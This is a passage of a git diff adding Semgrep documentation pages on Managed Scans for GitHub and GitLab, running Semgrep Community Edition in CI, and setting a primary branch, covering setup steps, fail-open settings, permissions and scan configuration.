+If you plan to continue running some scans in GitHub Actions (for example, using Managed Scans to run weekly full scans but GitHub Actions for diff-aware scans) you can leave the workflow file in place, and edit it to reflect your desired configuration.
+
+
+**TIP**
+
+Semgrep preserves your findings, scans, and triage history.
+
+
+## Scan management and configuration
+
+### Manually run a full scan
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **gear icon** to access the settings page for that repository.
+
+
+Click **Run a new scan > Rule-based detection**.
+
+
+
+> You can manually run a full scan for both primary and non-primary branches.
+
+### Re-run a failed scan or a scan that never finished
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Click on the project name.
+
+
+Find the scan that failed or never finished using the **Status** column, and click **Details** to open the **Scan logs** dialog.
+
+
+Ensure that you're on the **Overview** tab of the **Scan logs** dialog, then click **Retry scan**.
+
+
+
+### Disable diff-aware scans on PRs
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the toggle for diff-aware scans.
+
+
+
+### Delete a project
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the dropdown at the header and click **Delete project**.
+
+
+
+To delete an archived project:
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Switch to the **Not Scanning** tab of the **Projects** page.
+
+
+Select the checkbox to **Show archived** projects.
+
+
+Search for the archived repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the dropdown at the header and click **Delete project**.
+
+
+
+
+### Configure fail open to prevent diff-aware scans from blocking pull requests and merge requests
+
+By default, diff-aware managed scans are set to **fail open** if a scan errors out or takes too long. This means that diff-aware scans are marked as successful on the pull request (PR) or merge request (MR), even if they haven't completed after the specified timeout, allowing you to make the Semgrep status check required in your source code manager (SCM) while not blocking someone from merging a PR or MR if the check encounters an unexpected issue or takes too long.
+
+
+
+
+
+#### How fail open works
+
+
+
+If enabled, the fail open feature is triggered whenever you open a PR or MR.
+
+
+Initially, Semgrep sends an update to mark the PR or MR as `pending`.
+
+
+Once the diff-aware scan begins, the PR or MR is updated to a status of `running`.
+
+
+The diff-aware scan completes, and the PR or MR is updated to a status of `succeeded` or `failed`.
+
+
+If the diff-aware scan is in `pending` or `running` status longer than the configured timeout, then the fail open process updates the PR or MR to display a status of `succeeded`. This prevents the Semgrep scan from blocking the developer from merging their changes.
+
+
+
+If Semgrep marks a PR or MR as `succeeded`, you can merge the PR or MR without waiting for the diff-aware scan to complete. However, if the PR or MR is still open and the scan completes *after* the fail open timeout is reached, Semgrep can still report the findings and mark the status as `failed`.
+
+#### Configure fail open
+
+By default, fail open is enabled. However, you can disable this feature and adjust the timeout value:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Settings > General > Managed Scans**.
+
+
+Click the **Fail open** toggle to turn off this feature.
+
+
+Set the **Timeout** value in minutes. The default value is **10 minutes**, the minimum value is **1 minute**, and the maximum value is **60 minutes**.
+
+ 
+
+
+
+
+## Revoke Semgrep's access to your repositories
+
+### Remove the private app
+
+The following steps revoke the code access you previously granted Semgrep for all repositories you selected.
+
+
+
+In Semgrep AppSec Platform, click **Settings > Source Code Managers**.
+
+
+On the entry of the SCM you want to remove, click **Remove app**.
+
+
+Click **Remove** to confirm.
+
+
+
+### Limit access to specific repositories
+
+
+
+Navigate to your [GitHub settings page](https://github.com/settings/installations/).
+
+
+On the entry of your private Semgrep GitHub app, click **Configure**.
+
+
+
+
+
+Under **Repository access**, de-select the repositories you no longer want to grant Semgrep access to.
+
+
+
+## Turn off Managed Scans for specific repositories in Semgrep AppSec Platform
+
+
+
+Sign in to Semgrep AppSec Platform.
+
+
+Go to Projects and find the project you no longer want scanned with Semgrep Managed Scanning. Click the project's **Details** page > **Settings** tab.
+
+
+Toggle the switch for **Managed diff scans** to turn off scans of new pull requests and merge requests and **Managed full scans** to turn off full scans of the base branch.
+
+ 
+
+
+
+
+**WARNING**
+
+If your [source code manager has Auto-scan enabled](https://semgrep.dev/orgs/-/settings/source-code) so that Semgrep automatically scans new repositories, turn off Managed Scans for specific repositories using Semgrep AppSec Platform. **Do not turn off Managed Scans by deleting the repository from Semgrep AppSec Platform.** If you have Auto-scan enabled and you delete your repository from the platform, Semgrep re-syncs the repository you deleted.
+
+
+## Appendices
+
+### Permissions and synchronicity
+
+Both the public and private Semgrep GitHub app must have access to the repositories you want to scan.
+
+To **view** the repositories you have granted access to:
+
+
+
+Navigate to your [GitHub settings page](https://github.com/settings/installations/).
+
+
+On the entry of your public Semgrep GitHub app, typically **semgrep-app**, Click **Configure**.
+
+
+Review the repositories under repository access.
+
+
+Perform steps 2 and 3 on the entry of your private Semgrep GitHub app.
+
+
+
+#### Scan logs
+
+To view your scan logs in Semgrep AppSec Platform, go to **Projects**, then click on the project name. The projects in the list are sorted by scan date, with the most recent scans are listed first.
+
+
+**INFO**
+
+It can take a few minutes for your latest scan logs to appear. However, if the logs do not update 15 minutes after the scan, there may be issues with the scan itself.
+
+
+### Scan statistics
+
+**Scan statistics**, such as how many of your repositories are being scanned, the scan success rate, and so on, can be provided once a week upon request. Contact your Semgrep account manager to request scan statistics.
+
+### Git Large File Storage
+
+Semgrep Managed Scans skips files stored in Git Large File Storage (LFS). In general, Semgrep [skips large files](/ignoring-files-folders-code#files-folders-and-code-beyond-semgreps-scope) when scanning projects.
diff --git a/mintlify-docs/deployment/managed-scanning/gitlab.mdx b/mintlify-docs/deployment/managed-scanning/gitlab.mdx
new file mode 100644
index 0000000000..d2b47bdf79
--- /dev/null
+++ b/mintlify-docs/deployment/managed-scanning/gitlab.mdx
@@ -0,0 +1,346 @@
+---
+title: "Add a GitLab repository to Semgrep Managed Scans"
+sidebarTitle: "GitLab"
+description: "Add GitLab repositories to your Semgrep organization in bulk without adding or changing your existing CI workflows through **Managed Scans**. "
+---
+
+## Prerequisites and permissions
+
+Semgrep Managed Scanning (SMS) requires one of the following plans:
+
+- GitLab Premium
+- GitLab Ultimate
+- GitLab Self Managed
+
+You must provide a GitLab group access token or personal access token to Semgrep. The token must have the `api` scope assigned to it.
+
+During SMS onboarding, the group or user to which the token is assigned must have one of the following roles:
+
+- `Maintainer`
+- `Owner`
+- `Admin`
+
+This is because managed scans of GitLab repositories require the enablement of webhooks to facilitate diff-aware scans and the creation of pull request comments by Semgrep. The webhooks are enabled by default when you set up Managed Scans and add GitLab as a source code manager. Once onboarding is complete, you can downgrade the role assigned to the token to `Developer`.
+
+See [Pre-deployment checklist > Permissions](/deployment/checklist#permissions) for more information about the permissions used by Semgrep.
+
+## Enable Semgrep Managed Scans and scan your first repository
+
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Click **Scan new project > Semgrep Managed Scan**.
+
+
+In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
+ i. Optional: If you don't see the repository you want to add, click **Can't find your project?** and follow the troubleshooting steps provided.
+
+
+Click **+ Connect more**.
+
+
+Select **GitLab**.
+
+
+In the **Set up Managed Scans** page that appears, provide the information needed by Semgrep to connect to your GitLab project:
+ i. Select **GitLab Cloud** or **GitLab Self-Managed**.
+ ii. Provide your **Access token**.
+ iii. Provide your **GitLab group**.
+ iv. *For GitLab Self-Managed users only*: provide the **GitLab URL**.
+ v. Click **Connect**.
+
+
+Repeat the steps above for each additional GitLab group you'd like added to Semgrep.
+
+
+
+
+You have finished setting up a Semgrep managed scan.
+
+- After enabling Managed Scans, Semgrep performs a full scan in batches on all the repositories.
+- Once a repository has been added to Semgrep AppSec Platform, it becomes a **project**. A project in Semgrep AppSec Platform includes all the findings, history, and scan metadata of that repository.
+- Projects with a Managed Scan configuration are tagged with `managed-scan`, regardless of whether the project is actively being scanned by Semgrep Managed Scans or not. The **Projects** list also contains pending scans and scans that never started.
+
+## Add additional GitLab projects
+
+You can enable Semgrep Managed Scans for additional repositories after onboarding using the following steps:
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Click **Scan new project > Semgrep Managed Scan**.
+
+
+In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
+ i. Optional: If you don't see the repository you want to add, click **Can't find your project?** and follow the troubleshooting steps provided.
+
+
+Select the repositories you want to scan from the list.
+
+
+Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
+
+
+Optional: Disable PR or MR diff-aware scans by turning off the **Enable PR/MR scans** toggle.
+
+
+Click **Enable**.
+
+
+
+
+### If the page doesn't display any repositories
+
+
+
+Ensure that you've connected your GitLab account by following the steps in [Connect a source code manager](/deployment/connect-scm) and confirm the [PAT is created with the required `API` scope](https://docs.gitlab.com/user/profile/personal_access_tokens/#personal-access-token-scopes) by someone assigned the [role of **Maintainer** or **Owner**](https://docs.gitlab.com/ee/user/permissions.html#roles).
+ i. Once you successfully create the connection, the role for the person who owns the token can be downgraded to **Developer**.
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+If the page doesn't display the repository you want to add, click **Can't find your project? > Sync projects**.
+
+
+If the page doesn't display any repositories, click **Sync projects**.
+
+
+Optional: Perform a hard refresh (Ctrl+F5 or Cmd+Shift+R).
+
+
+
+### Convert or migrate an existing Semgrep CI job
+
+You can immediately add any existing project to Managed Scans.
+
+
+
+Follow the steps in [Enable Semgrep Managed Scans](#enable-managed-scanning-and-scan-your-first-repository).
+
+
+Delete the `.gitlab-ci.yml` file in your GitLab repository if appropriate.
+
+
+
+If you plan to continue running some scans in GitLab CI/CD Pipelines (for example, using Managed Scans to run weekly full scans but GitLab CI/CD Pipelines for diff-aware scans) you can leave the workflow file in place, and edit it to reflect your desired configuration.
+
+
+**TIP**
+
+Semgrep preserves your findings, scans, and triage history.
+
+
+## Scan management and configuration
+
+### Manually run a full scan
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **gear icon** to access the settings page for that repository.
+
+
+Click **Run a new scan > Rule-based detection**.
+
+
+
+> You can manually run a full scan for both primary and non-primary branches.
+
+### Re-run a failed scan or a scan that never finished
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Click on the project name.
+
+
+Find the scan that failed or never finished using the **Status** column, and click **Details** to open the **Scan logs** dialog.
+
+
+Ensure that you're on the **Overview** tab of the **Scan logs** dialog, then click **Retry scan**.
+
+
+
+### Disable diff-aware scans on PRs
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the toggle for diff-aware scans.
+
+
+
+### Delete a project
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the dropdown at the header and click **Delete project**.
+
+
+
+To delete an archived project:
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Switch to the **Not Scanning** tab of the **Projects** page.
+
+
+Select the checkbox to **Show archived** projects.
+
+
+Search for the archived repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the dropdown at the header and click **Delete project**.
+
+
+
+
+### Configure fail open to prevent diff-aware scans from blocking pull requests and merge requests
+
+By default, diff-aware managed scans are set to **fail open** if a scan errors out or takes too long. This means that diff-aware scans are marked as successful on the pull request (PR) or merge request (MR), even if they haven't completed after the specified timeout, allowing you to make the Semgrep status check required in your source code manager (SCM) while not blocking someone from merging a PR or MR if the check encounters an unexpected issue or takes too long.
+
+
+
+
+
+#### How fail open works
+
+
+
+If enabled, the fail open feature is triggered whenever you open a PR or MR.
+
+
+Initially, Semgrep sends an update to mark the PR or MR as `pending`.
+
+
+Once the diff-aware scan begins, the PR or MR is updated to a status of `running`.
+
+
+The diff-aware scan completes, and the PR or MR is updated to a status of `succeeded` or `failed`.
+
+
+If the diff-aware scan is in `pending` or `running` status longer than the configured timeout, then the fail open process updates the PR or MR to display a status of `succeeded`. This prevents the Semgrep scan from blocking the developer from merging their changes.
+
+
+
+If Semgrep marks a PR or MR as `succeeded`, you can merge the PR or MR without waiting for the diff-aware scan to complete. However, if the PR or MR is still open and the scan completes *after* the fail open timeout is reached, Semgrep can still report the findings and mark the status as `failed`.
+
+#### Configure fail open
+
+By default, fail open is enabled. However, you can disable this feature and adjust the timeout value:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Settings > General > Managed Scans**.
+
+
+Click the **Fail open** toggle to turn off this feature.
+
+
+Set the **Timeout** value in minutes. The default value is **10 minutes**, the minimum value is **1 minute**, and the maximum value is **60 minutes**.
+
+ 
+
+
+
+
+## Disable webhooks
+
+Semgrep Managed Scans of GitLab projects require webhooks. The webhooks are enabled by default when you add GitLab as a source code manager when setting up Managed Scans. You can disable webhooks at any time by following these steps:
+
+
+
+In Semgrep AppSec Platform, go to [Settings > Source code managers](https://semgrep.dev/orgs/-/settings/source-code).
+
+
+Find your GitLab connection, and click the toggle to disable **Incoming webhooks**.
+
+
+
+## Revoke Semgrep's access to your repositories
+
+The following steps revoke the code access you previously granted Semgrep for all repositories you selected.
+
+
+
+In Semgrep AppSec Platform, click **Settings > Source Code Managers**.
+
+
+On the entry of the SCM you want to remove, click **Remove app**.
+
+
+Click **Remove** to confirm.
+
+
+
+## Turn off Managed Scans for specific repositories in Semgrep AppSec Platform
+
+
+
+Sign in to Semgrep AppSec Platform.
+
+
+Go to Projects and find the project you no longer want scanned with Semgrep Managed Scanning. Click the project's **Details** page > **Settings** tab.
+
+
+Toggle the switch for **Managed diff scans** to turn off scans of new pull requests and merge requests and **Managed full scans** to turn off full scans of the base branch.
+
+ 
+
+
+
+## Appendices
+
+### Scan logs
+
+To view your scan logs in Semgrep AppSec Platform, go to **Projects**, then click on the project name. The projects in the list are sorted by scan date, with the most recent scans listed first.
+
+
+**INFO**
+
+It can take a few minutes for your latest scan logs to appear. However, if the logs do not update 15 minutes after the scan, there may be issues with the scan itself.
+
+
+### Scan statistics
+
+**Scan statistics**, such as how many of your repositories are being scanned, the scan success rate, and so on, can be provided once a week upon request. Contact your Semgrep account manager to request scan statistics.
diff --git a/mintlify-docs/deployment/managed-scanning/overview.mdx b/mintlify-docs/deployment/managed-scanning/overview.mdx
new file mode 100644
index 0000000000..e8509a3a88
--- /dev/null
+++ b/mintlify-docs/deployment/managed-scanning/overview.mdx
@@ -0,0 +1,97 @@
+---
+title: "Semgrep Managed Scans"
+sidebarTitle: "Managed Scans"
+description: "Add repositories to your Semgrep organization in bulk without adding or changing your existing CI workflows through **Managed Scans**. Similar to CI workflows, Managed Scans also integrates into developer workflows through pull request (PR) or merge request (MR) comments."
+---
+
+This is an alternative method to [adding Semgrep in CI](/deployment/add-semgrep-to-ci). Instead of adding a Semgrep job or workflow to your CI/CD pipeline, repositories are added to Semgrep AppSec Platform.
+
+## Feature maturity and support
+
+You must be an existing [Semgrep AppSec Platform](https://semgrep.dev/orgs/-/) user with one of the following plans:
+ - Bitbucket Cloud Premium plans or Bitbucket Data Center (v8.8 or above for diff-aware scans)
+ - Hosted GitHub (GitHub.com) and GitHub Enterprise Server plans
+ - GitLab Cloud and GitLab self-managed plans and a Premium or Ultimate subscription
+ - Azure DevOps Cloud repositories
+
+Managed Scans is available for all Semgrep products you have purchased, including:
+ - Semgrep Code
+ - Semgrep Supply Chain
+ - Semgrep Secrets
+
+Semgrep performs full scans on a weekly basis and diff-aware scans when you create a pull request or merge request.
+
+
+**INFO**
+
+- To receive Supply Chain findings, you must have a supported manifest file or lockfile in your repository. Managed Scans does **not** support generation of these files.
+- For existing Semgrep projects, custom `semgrep.yml` configurations are not copied or detected when you use Managed Scans. If you have additional build steps when scanning, use [Semgrep in CI instead](/deployment/add-semgrep-to-ci).
+
+
+Please leave feedback by either contacting your technical account manager (TAM) or through the Feedback form in Semgrep AppSec Platform's navigation bar.
+
+## Security
+
+Managed Scans require **read access** to your code for the repositories you choose to scan. Semgrep clones your repository at the beginning of every scan. Once the scan completes, the clone is destroyed and is not persisted anywhere.
+
+For GitHub users, access to your code is facilitated by a **private Semgrep GitHub app** that you create and register in your GitHub organization. For GitLab users, access to your code is facilitated by a **personal access token** that you generate and provide to Semgrep.
+
+- You are in control of the app and can revoke access to repositories at any time.
+- GitHub users only: you can limit access to specific repositories.
+
+Managed scans are specifically designed to limit the amount of time that code remains within Semgrep infrastructure.
+
+### Code security measures
+
+Semgrep’s Managed Scans infrastructure ensures that customer code is scanned in a vacuum and inaccessible from other Kubernetes cluster resources. Semgrep does this by employing the following features and best practices:
+
+- **Ephemeral pods**
+ - Each scan creates a new pod from scratch, ensuring there is never leftover data from previous scans.
+ - Customer code is cloned into the new pod, scanned, and deleted once the scan is completed. The pod is then destroyed.
+ - Pods do not share volumes and do not persist after a scan is completed. Once a pod is destroyed, its volume and the data it contains are destroyed as well.
+- **Network isolation**
+ - Pod network capabilities are completely locked down to ensure only allowed IP addresses are accessible.
+ - Pods are unable to access other pods within the cluster. This ensures that the customer code cloned to one pod is not accessible from another pod.
+
+### Life cycle of a managed scan
+
+1. When a scan begins, Semgrep creates an ephemeral container and clones the repository into it.
+1. Semgrep runs the scan from that container. Diff-aware scans typically take seconds, while full scans can take minutes to hours to complete.
+1. The ephemeral container is immediately and automatically destroyed post-scan along with all contents in it.
+
+## Default configuration
+
+By default, projects on Managed Scans are configured with:
+
+- **Weekly full scans** of the entire repository. When a project is first added to Managed Scans, the AppSec Platform performs an initial scan and then sets a random time up to 6 days after to perform a weekly full scan. Each weekly scan occurs on that same day and time. If a full scan doesn't complete, Semgrep re-attempts the scan once, in case it was affected by a temporary error.
+- **Diff-aware scans** on pull requests that run on every PR. These diff-aware scans follow the **rule modes** set in your Policies, ensuring that developers are only notified of findings from high-signal rules you place in Comment or Block mode.
+
+## Run scans in bulk
+
+Semgrep Managed Scans enables you to scan multiple projects simultaneously, which is especially useful after updating your ruleset or configuration.
+
+To run scans in bulk, go to the **Projects** page, select the projects of interest, and click **Scan**.
+
+## Re-run scans
+
+You can re-run full scans from the **Projects** page in Semgrep AppSec Platform.
+
+There is no manual "re-run" action for pull request (PR) or merge request (MR) Semgrep Managed Scans. To re-run a PR or MR scan, push a new commit to the PR or MR branch. This triggers a new scan automatically.
+
+If no code changes are needed, you can push an empty commit:
+
+```bash
+git commit --allow-empty -m "Trigger Semgrep scan"
+git push
+```
+
+## Add a repository to Semgrep Managed Scans
+
+Learn how to add a repository to Semgrep Managed Scans:
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/deployment/oss-deployment.mdx b/mintlify-docs/deployment/oss-deployment.mdx
new file mode 100644
index 0000000000..cced6f8c17
--- /dev/null
+++ b/mintlify-docs/deployment/oss-deployment.mdx
@@ -0,0 +1,289 @@
+---
+title: "Semgrep Community Edition in CI"
+description: "Semgrep Community Edition (CE) can be set up run static application security testing (SAST) scans on repositories of any size."
+sidebarTitle: "Semgrep CE in CI"
+---
+
+This guide explains how to set up Semgrep CE in your CI pipeline using entirely open source components, also known as a **stand-alone** CI setup. The preferred Semgrep CE command is `semgrep scan`.
+
+## Prerequisites
+
+- Sufficient permissions in your repository to:
+ - Commit a CI configuration file.
+ - Start or stop a CI job.
+- Optional: Create environment variables.
+
+## Ensure your scans use open source components
+
+This setup uses only the **LGPL 2.1** Semgrep CLI tool. It is not subject to the usage limits of Semgrep AppSec Platform. In order to remain strictly open source, you must ensure that the rules you run use open source licenses or are your own custom Semgrep rules.
+
+To verify a rule's license, read the `license` key under the `metadata` of a Semgrep rule.
+
+
+
+This rule's last line displays a `license: MIT` key-value pair.
+
+```yaml expandable
+rules:
+ - id: eslint.detect-object-injection
+ patterns:
+ - pattern: $O[$ARG]
+ - pattern-not: $O["..."]
+ - pattern-not: "$O[($ARG : float)]"
+ - pattern-not-inside: |
+ $ARG = [$V];
+ ...
+ <... $O[$ARG] ...>;
+ - pattern-not-inside: |
+ $ARG = $V;
+ ...
+ <... $O[$ARG] ...>;
+ - metavariable-regex:
+ metavariable: $ARG
+ regex: (?![0-9]+)
+ message: Bracket object notation with user input is present, this might allow an
+ attacker to access all properties of the object and even it's prototype,
+ leading to possible code execution.
+ languages:
+ - javascript
+ - typescript
+ severity: MEDIUM
+ metadata:
+ cwe: "CWE-94: Improper Control of Generation of Code ('Code Injection')"
+ primary_identifier: eslint.detect-object-injection
+ secondary_identifiers:
+ - name: ESLint rule ID security/detect-object-injection
+ type: eslint_rule_id
+ value: security/detect-object-injection
+ license: MIT
+```
+
+
+For a comparison of the behavior between Semgrep CE CI scans and Semgrep AppSec Platform scans, see [Semgrep AppSec Platform versus Semgrep Community Edition](/semgrep-pro-vs-oss-1).
+
+## Set up the CI job
+
+### Use template configuration files
+
+Click the link of your CI provider to view a configuration file you can commit to your repository to create a Semgrep job:
+
+
+
+
+
+
+
+
+
+
+
+### Use other methods
+
+Use either of the following methods to run Semgrep on other CI providers.
+
+#### Direct docker usage
+
+Reference or add the [semgrep/semgrep](https://hub.docker.com/r/semgrep/semgrep) Docker image directly. The method to add the Docker image varies based on the CI provider. This method is used in the [Bitbucket Pipelines code snippet](/semgrep-ci/sample-ci-configs#sample-bitbucket-pipelines-configuration-snippet).
+
+#### Install `semgrep` within your CI job
+
+If you cannot use the Semgrep Docker image, install Semgrep as a step or command within your CI job:
+
+1. Add `pipx install semgrep` (or `uv tool install semgrep` if you use [`uv`](https://docs.astral.sh/uv/)) into the configuration file as a step or command, depending on your CI provider's syntax. See the [Python Packaging guide](https://packaging.python.org/en/latest/guides/installing-stand-alone-command-line-tools/) for more on installing standalone Python CLI tools.
+2. Run any valid `semgrep scan` command, such as `semgrep scan --config auto`.
+
+For an example, see the [Azure Pipelines code snippet](/semgrep-ci/sample-ci-configs/#sample-azure-pipelines-configuration-snippet).
+
+## Configure your CI job
+
+The following sections describe methods to customize your CI job.
+
+```bash
+
+
+```
+
+### Schedule your scans
+
+The following table is a summary of methods and resources to set up schedules for different CI providers.
+
+| CI provider | Where to set schedule |
+| :--- | :--- |
+| GitHub Actions | See [Sample CI configs](/semgrep-ci/sample-ci-configs#sample-github-actions-configuration-file) for information on how to modify your `semgrep.yml` file |
+| GitLab CI/CD | Refer to [GitLab documentation](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) |
+| Jenkins | Refer to [Jenkins documentation](https://www.jenkins.io/doc/book/pipeline/running-pipelines/#scheduling-jobs-in-jenkins) |
+| Bitbucket Pipelines | Refer to [Bitbucket documentation](https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/) |
+| CircleCI | Refer to [CircleCI documentation](https://circleci.com/scheduled-pipelines#get-started-with-scheduled-pipelines-in-circleci) |
+| Buildkite | Refer to [Buildkite documentation](https://buildkite.com/pipelines/scheduled-builds) |
+| Azure Pipelines | Refer to [Azure documentation](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/scheduled-triggers?view=azure-devops&tabs=yaml) |
+| Semaphore | Refer to [Semaphore documentation](https://docs.semaphore.io/using-semaphore/tasks) |
+
+### Customize rules and rulesets
+
+#### Add rules to scan with `semgrep scan`
+
+You can customize what rules to run in your CI job. The rules and rulesets can come from the [Semgrep Registry](https://semgrep.dev/explore/), or your own rules. The sources for rules to scan with are:
+
+* The value of the `SEMGREP_RULES` environment variable.
+* The value passed after `--config`. You can use multiple `--config` arguments, one per value. For example: `semgrep scan --config p/default --config p/comment`.
+
+The `SEMGREP_RULES` environment variable accepts a list of local and remote rules and rulesets to run. The `SEMGREP_RULES` list is delimited by a space (` `) if the variable is exported from a shell command or script block. For example, see the following BitBucket Pipeline snippet:
+
+```yaml
+# ...
+ script:
+ - export SEMGREP_RULES="p/nginx p/ci no-exec.yml"
+ - semgrep ci
+# ...
+```
+
+The line defining `SEMGREP_RULES` defines three different sources, delimited by a space:
+
+```bash
+- export SEMGREP_RULES="p/nginx p/ci no-exec.yml"
+```
+
+The example references two rulesets from Semgrep Registry (`p/nginx` and `p/ci`) and a rule available in the repository (`no-exec.yml`).
+
+If the `SEMGREP_RULES` environment variable is defined from a YAML block, the list of rules and rulesets to run is delimited by a newline. See the following example of a GitLab CI/CD snippet:
+
+```yaml
+# ...
+variables:
+ SEMGREP_RULES: >-
+ p/nginx
+ p/ci
+ no-exec.yml
+# ...
+```
+
+#### Write your own rules
+
+Write custom rules to enforce your team's coding standards and security practices. Rules can be forked from existing community-written rules.
+
+See [Writing rules](/writing-rules/overview) to learn how to write custom rules.
+
+### Ignore files
+
+See [ Ignore files, folders, and code](/ignoring-files-folders-code).
+
+By default `semgrep ci` skips files and directories such as `tests/`, `node_modules/`, and `vendor/`. It uses the default `.semgrepignore` file which you can find in the [Semgrep GitHub repository](https://github.com/semgrep/semgrep/blob/develop/cli/src/semgrep/templates/.semgrepignore). This default is used when no explicit `.semgrepignore` file is found in the root of your repository.
+
+Optional: Copy and commit the default `.semgrepignore` file to the **root of your repository** and extend it with your own entries or write your `.semgrepignore` file from scratch. If Semgrep detects a `.semgrepignore` file within your repository, it does not append entries from the default `.semgrepignore` file.
+
+For a complete example, see the [.semgrepignore file in Semgrep’s source code](https://github.com/semgrep/semgrep/blob/develop/.semgrepignore).
+
+
+**CAUTION**
+
+`.semgrepignore` is only used by Semgrep. Integrations such as [GitLab's Semgrep SAST Analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) do not use it.
+
+
+### Save or export findings to a file
+
+To save or export findings, pass file format options and send the formatted findings to a file.
+
+For example, to save to a JSON file:
+
+`semgrep scan --json > findings.json`
+
+> The JSON schema for Semgrep's CLI output can be found in [semgrep/semgrep-interfaces](https://github.com/semgrep/semgrep-interfaces/blob/main/semgrep_output_v1.jsonschema).
+
+You can also use the SARIF format:
+
+`semgrep scan --sarif > findings.sarif`
+
+Refer to the [CLI reference](/cli-reference) for output formats.
+
+## Migrate to Semgrep AppSec Platform from a stand-alone CI setup
+
+Migrate to Semgrep AppSec Platform to:
+
+* **View and manage findings in a centralized location**. False positives can be ignored through triage actions. These actions can be undertaken in bulk.
+* **Configure rules and actions to undertake when a finding is generated by the rule**. You can undertake the following actions:
+ * Audit the rule. This means that findings are kept within Semgrep's **Findings** page and are not surfaced to your team's SCM.
+ * Show the finding to your team through the use of PR and MR comments.
+ * Block the pull request or merge request.
+
+To migrate to Semgrep AppSec Platform:
+
+
+
+Create an account in [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Click **[Projects](https://semgrep.dev/orgs/-/projects)** > **Scan New Project** > Run scan in CI.
+
+
+ Follow the steps in the setup page to complete your migration.
+
+
+ Optional: Remove the old CI job that does not use Semgrep AppSec Platform.
+
+
+
+## Semgrep CE jobs versus Semgrep jobs
+
+| Feature | Semgrep CI (`semgrep ci`)| Semgrep CE CI (`semgrep scan`) |
+| :--- | :--- | :--- |
+| Customized SAST scans | ✔️ | ✔️ |
+| [SCA (software composition analysis) scans](/semgrep-supply-chain/overview) | ✔️ | -- |
+| [Secrets scans](/semgrep-secrets/conceptual-overview) | ✔️ | -- |
+| [PR (pull request) or MR (merge request) comments](/category/pr-or-mr-comments) | ✔️ | -- |
+| [Finding status tracked over lifetime](/semgrep-code/findings) | ✔️ | -- |
diff --git a/mintlify-docs/deployment/primary-branch.mdx b/mintlify-docs/deployment/primary-branch.mdx
new file mode 100644
index 0000000000..d5f389efcd
--- /dev/null
+++ b/mintlify-docs/deployment/primary-branch.mdx
@@ -0,0 +1,104 @@
+---
+title: "Set a primary branch"
+---
+
+A **primary branch** is the base or target branch for pull requests and merge requests. It is usually referred to as a **default branch** or **trunk** by your source code manager (SCM). Typical names for a primary branch include `dev`, `production`, or `develop`.
+
+In many cases, Semgrep automatically detects primary branches when they first scan your project. If you have projects (repositories) with unique primary branch names, you can set them through the Semgrep web app.
+
+A primary branch enables Semgrep to filter your findings by branch and to accurately deduplicate findings. The primary branch is also used to analyze the deployment of [secure guardrails](/secure-guardrails/secure-guardrails-in-semgrep) to your developers; findings fixed before they are merged into the primary branch reduces the overall production backlog.
+
+The following video provides an introduction and walkthrough:
+
+
+
+
+
+## Prerequisite
+
+Ensure that the project you want to set a primary branch for has completed **at least one full scan** successfully.
+
+## Find projects without a primary branch
+
+Projects without primary branches have an orange information icon next to their name in the **Projects** page.
+
+## Changes to existing URLs
+
+For Semgrep AppSec Platform users whose accounts were created prior to September 4, 2024, this feature may affect any bookmarks or saved links created for custom views or slices in product pages such as **Code**, **Supply Chain > Vulnerabilities**, and **Secrets**. The primary branch feature deprecates certain filters, which affect the parameters in your URL. In these cases, you may have to re-create your bookmarks.
+
+- The following parameters are deprecated:
+ - `ref=_default`
+ - `ref=_other`
+- For **Code** page and **Supply Chain > Vulnerabilities** tab:
+ - Bookmarks that use the `ref` parameter without a `repo`, your URL will be redirected to the default view instead.
+ - Bookmarks that use any number of `repo` parameters without a `ref` will display the findings of primary branches for all repositories selected.
+ - Any filters using multiple `refs` now show only one `ref`, such as the primary branch.
+
+## Set a project's primary branch
+
+- Primary branches are set on a **per-project** basis in the Semgrep web app. To quickly update your primary branches, use the [API endpoint](#through-an-api-endpoint).
+- For more information on how primary branches may affect existing projects behavior see:
+ - [Changes to existing URLs](#changes-to-existing-urls)
+ - [How Semgrep counts findings in the projects page](/deployment/primary-branch#how-semgrep-counts-findings-in-the-projects-page)
+
+### Through the web app
+
+
+**INFO**
+
+ For Semgrep AppSec Platform users whose accounts were created prior to
+ September 4, 2024, you may have to sign out and sign in again for this feature
+ to appear.
+
+
+
+
+In the Semgrep web app, click **Projects**.
+
+
+Search for your project's name.
+
+
+Click the ** gear icon** to access the settings page for that project.
+
+
